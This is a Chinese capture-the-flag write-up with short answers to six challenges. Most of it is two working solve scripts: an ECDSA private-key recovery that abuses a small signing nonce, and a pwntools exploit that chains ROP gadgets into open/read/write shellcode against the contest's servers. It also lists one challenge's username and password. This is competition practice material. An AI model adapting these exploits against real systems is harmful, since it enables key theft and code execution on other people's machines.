第一次比赛给我爆奖品

1.神秘的编码纸条.

两次base64

2.Signature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
from hashlib import sha256
from ecdsa import SigningKey, SECP256k1
import ast
import re

# ================== 配置 ==================
HOST = "nc1.ctfplus.cn"
PORT = 42035
# ========================================

message = b"try hack me!"
digest = sha256(message).digest()
curve = SECP256k1
n = curve.order


def recover_privkey(data, kbits):
"""
利用一个小 k 的签名,从 (r, s, z) 暴力枚举 k 恢复私钥 d,
并用所有签名验证,筛出真正的 d。
"""
costs = data["costs"]
sigs_hex = data["sigs"]

# 1. 选出耗时最短的签名,认为是小 k 的
idx_small = min(range(len(costs)), key=lambda i: costs[i])
sig_small = bytes.fromhex(sigs_hex[idx_small])

if len(sig_small) != 64:
log.error(f"unexpected signature length: {len(sig_small)}")
return None

r = int.from_bytes(sig_small[:32], "big")
s = int.from_bytes(sig_small[32:], "big")
z = int.from_bytes(digest, "big")

# d = (s * k - z) * r^{-1} mod n
r_inv = pow(r, -1, n)

# get_nbits_k(kbits) 生成的是 bit_length 恰好为 kbits 的值
# 即范围 [2^(kbits-1), 2^kbits - 1]
start_k = 1 << (kbits - 1)
end_k = 1 << kbits

for k in range(start_k, end_k):
d = (s * k - z) * r_inv % n
if d == 0:
continue

try:
sk_cand = SigningKey.from_secret_exponent(d, curve=curve)
vk = sk_cand.verifying_key
except Exception:
continue

# 用所有签名统一校验一次
ok = True
for sig_hex in sigs_hex:
sig_bytes = bytes.fromhex(sig_hex)
try:
if not vk.verify_digest(sig_bytes, digest):
ok = False
break
except Exception:
ok = False
break

if ok:
return d

return None


def main():
io = remote(HOST, PORT)

# 让一半 nonce 很小方便暴力
kbits = 8
ncount = 1 # 产生 2 个签名:1 个 256bit k + 1 个 8bit k
train_times = 1000 # 拉开时间差,按题目时间情况可适当调大/调小

# 交互:输入 kbits
io.recvuntil(b"Enter kbits")
io.sendline(str(kbits).encode())

# 交互:输入 ncount 和 train_times
io.recvuntil(b"Enter ncount and train_times")
io.sendline(f"{ncount} {train_times}".encode())

# 读取包含 {'costs': [...], 'sigs': [...]} 的那一行
line = io.recvline().strip()
raw = line.decode(errors="ignore")

# 服务器前面可能有个 ":" 或其它前缀,用正则把 {...} 抠出来
m = re.search(r'\{.*\}', raw)
if not m:
log.error(f"cannot find dict in line: {raw!r}")
return

dict_str = m.group(0)
data = ast.literal_eval(dict_str)

# 恢复私钥 d
d = recover_privkey(data, kbits)
if d is None:
log.error("failed to recover private key")
return

log.success(f"recovered d = {d}")

# 把十进制私钥发回去
io.sendline(str(d).encode())

# 看 FLAG
io.interactive()


if __name__ == "__main__":
main()

3.seven

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
from pwn import *

# 基本参数:64 位 ELF,方便调试输出
context.update(arch='amd64', os='linux', log_level='debug')

# 远程目标与本地文件
p = remote('nc1.ctfplus.cn', 30349)
elf = ELF('/mnt/hgfs/E/CTF/比赛/25星芒杯/pwn/attachment')

# -------------------------
# 第一阶段:7 字节小 stub
# -------------------------
# 运行位置:mprotect 之后,rax = 0(返回值),rdi/rsi/rdx 还保留 mprotect 的实参
# rdi = 0x600000
# rsi = 0x1000
# rdx = 5
#
# stub 做的事:
# mov edi, eax ; rdi = 0 -> fd = 0 (stdin)
# push rsp; pop rsi ; rsi = rsp -> buf = 栈顶
# syscall ; 执行 read(0, rsp, 5) (rdx 沿用 5)
# ret ; 从栈上取 ROP 链的第一个地址
stub_code = asm('mov edi, eax; push rsp; pop rsi; syscall; ret')
assert len(stub_code) == 7

# -------------------------
# CSU 的两个关键 gadget
# -------------------------
# 这两个地址是从 __libc_csu_init 中拆出来的“万能调用”组合:
# csu_pop_addr : pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
# csu_call_addr : mov rdx, r14; mov rsi, r13; mov edi, r12d;
# call [r15+rbx*8]; ...; ret;
csu_pop_addr = 0x4013AA
csu_call_addr = 0x401390


def build_csu_frame(func_ptr_addr, arg1, arg2, arg3, ret_addr):
"""
利用 __libc_csu_init 伪造一次三参数函数调用:

((void (*)(uint64_t, uint64_t, uint64_t)) *func_ptr_addr)(arg1, arg2, arg3);

实现方式:
r12 -> edi (第 1 个参数)
r13 -> rsi (第 2 个参数)
r14 -> rdx (第 3 个参数)
[r15] -> 要调用的真实函数地址
调用结束后,再从栈上弹出若干寄存器,最后 ret 到 ret_addr。
"""
frame = b""
frame += p64(csu_pop_addr) # 先把 rbx, rbp, r12-15 填好
frame += p64(0) # rbx = 0
frame += p64(1) # rbp = 1 保证循环只跑一次
frame += p64(arg1) # r12 -> edi
frame += p64(arg2) # r13 -> rsi
frame += p64(arg3) # r14 -> rdx
frame += p64(func_ptr_addr) # r15 -> [r15 + rbx*8] = [func_ptr_addr]
frame += p64(csu_call_addr) # 跳进调用部分

# 调用完成后会有一串 pop,把前面的 rbx/rbp/r12-15 弹掉
frame += p64(0) * 6 # 占位:rbx, rbp, r12, r13, r14, r15

# 最终返回地址
frame += p64(ret_addr)
return frame


# -------------------------
# 第二阶段:ORW shellcode
# -------------------------
# 动作顺序:
# 1. open("flag", O_RDONLY, 0) -> 得到 fd,保存在 rbx
# 2. read(fd, 新栈上 0x40 字节空间, 0x40)
# 3. write(1, 同一块缓冲区, 0x40)
orw_shellcode = asm(r"""
/* step 1: 打开 flag 文件,路径直接压栈 */
mov rbx, 0x67616c66 /* "flag" 的小端整数形式 */
push rbx
mov rdi, rsp /* const char *pathname = "flag" */
xor esi, esi /* int flags = O_RDONLY */
xor edx, edx /* mode = 0 */
mov eax, 2 /* SYS_open */
syscall

/* 保存返回的 fd,后面 read 还要用 */
mov rbx, rax /* rbx = fd */

/* step 2: 申请一小块栈空间作为读缓冲区,并读出内容 */
sub rsp, 0x40 /* 预留 0x40 字节缓冲区 */
mov rdi, rbx /* fd */
mov rsi, rsp /* buf = 当前栈顶 */
mov edx, 0x40 /* 读 0x40 字节 */
xor eax, eax /* SYS_read */
syscall

/* step 3: 把刚读到的内容写到标准输出 */
mov edi, 1 /* fd = 1 (stdout) */
mov rsi, rsp /* buf 仍然是刚才的栈缓冲区 */
mov eax, 1 /* SYS_write */
syscall
""")

# -------------------------
# 发送 7 字节 stub,进入第一阶段
# -------------------------
p.recvuntil(b'\n')
p.send(stub_code)

# -------------------------
# 查 GOT:read / mprotect
# -------------------------
got_read_addr = elf.got['read']
got_mprotect_addr = elf.got['mprotect']

# mmap 出来的那一页基址(程序里直接写死)
shell_base_addr = 0x600000

# -------------------------
# 在栈上布置 CSU ROP 链(第二阶段)
# -------------------------
rop_chain = b""

# 1) 调用 mprotect(0x600000, 0x1000, 7)
# 让 mmap 出来的那一页重新获得 RWX 权限,后面可以写 + 执行自定义代码
rop_chain += build_csu_frame(
func_ptr_addr = got_mprotect_addr,
arg1 = shell_base_addr, # addr
arg2 = 0x1000, # length
arg3 = 7, # PROT_READ|PROT_WRITE|PROT_EXEC
ret_addr = csu_pop_addr # 调完接着走下一次 CSU
)

# 2) 调用 read(0, 0x600000, 0x400)
# 把“第二阶段内容”(函数指针 + ORW shellcode)放到 0x600000
rop_chain += build_csu_frame(
func_ptr_addr = got_read_addr,
arg1 = 0, # stdin
arg2 = shell_base_addr, # 目标缓冲区
arg3 = 0x400, # 读取长度
ret_addr = csu_pop_addr
)

# 3) 利用 CSU 再调用一次:((void (*)()) *0x600000)()
# 约定:我们会在 0x600000 写入 8 字节函数指针 0x600008
# 真正 ORW shellcode 从 0x600008 开始。
rop_chain += build_csu_frame(
func_ptr_addr = shell_base_addr, # 这里当作“函数指针数组”的起点
arg1 = 0,
arg2 = shell_base_addr,
arg3 = 0x400,
ret_addr = shell_base_addr # ORW 执行完直接退出,此处去哪里无所谓
)

p.send(rop_chain)
sleep(0.05)

# -------------------------
# 写入“函数指针 + ORW shellcode”到 0x600000
# -------------------------
# 内存布局:
# 0x600000: 8 字节,值为 0x600008 -> 相当于“函数指针槽”
# 0x600008: orw_shellcode -> 真正执行的代码
second_stage = p64(shell_base_addr + 8) + orw_shellcode
p.send(second_stage)

p.interactive()
::contentReference[oaicite:0]{index=0}

4.代码审计

直接问ai

5.禾信智安

关注公众号+回复即可

6.基金会的秘密

这就有了账密

1
2
控制光明伍
eternalsoul79